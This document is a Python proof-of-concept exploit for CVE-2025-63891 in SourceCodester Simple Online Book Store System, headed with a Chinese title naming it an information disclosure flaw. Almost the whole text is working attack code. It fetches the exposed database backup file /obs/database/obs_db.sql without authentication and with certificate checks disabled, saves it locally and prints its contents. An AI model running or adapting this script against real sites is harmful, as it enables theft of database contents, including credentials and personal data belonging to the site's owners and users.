CVE-2025-63891 SourceCodester Simple Online Book Store System 敏感信息泄露漏洞

import requests # CVE-2025-63891 PoC - Information Disclosure in SourceCodester Simple Online Book Store System # Target: /obs/database/obs_db.sql # Author: Security Researcher # Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-63891 def exploit_cve_2025_63891(target_url): """ Exploit for CVE-2025-63891 This PoC demonstrates how an unauthenticated attacker can retrieve the database backup file containing sensitive information. Args: target_url: Base URL of the vulnerable application Returns: dict: Contains status, response headers, and database backup content """ # Construct the path to the vulnerable backup file backup_path = "/obs/database/obs_db.sql" full_url = target_url.rstrip('/') + backup_path headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Accept": "*/*" } print(f"[*] Target: {full_url}") print(f"[*] Sending HTTP GET request...") try: # Send unauthenticated GET request to retrieve backup file response = requests.get(full_url, headers=headers, timeout=30, verify=False) result = { "status_code": response.status_code, "content_length": len(response.content), "content_type": response.headers.get('Content-Type', 'Unknown') } if response.status_code == 200: print(f"[+] SUCCESS: Database backup file retrieved!") print(f"[+] Status Code: {response.status_code}") print(f"[+] Content Length: {len(response.content)} bytes") # Save the backup content with open("obs_db_backup.sql", "wb") as f: f.write(response.content) print(f"[+] Backup saved to: obs_db_backup.sql") # Display first 500 characters for verification content_preview = response.content.decode('utf-8', errors='ignore')[:500] print(f"\n[+] Content Preview:\n{content_preview}...") result["success"] = True result["backup_content"] = response.content.decode('utf-8', errors='ignore') else: print(f"[-] FAILED: Received status code {response.status_code}") result["success"] = False return result except requests.exceptions.RequestException as e: print(f"[-] ERROR: {str(e)}") return {"success": False, "error": str(e)} # Example usage if __name__ == "__main__": # Replace with actual target URL target = "http://vulnerable-server.com" result = exploit_cve_2025_63891(target)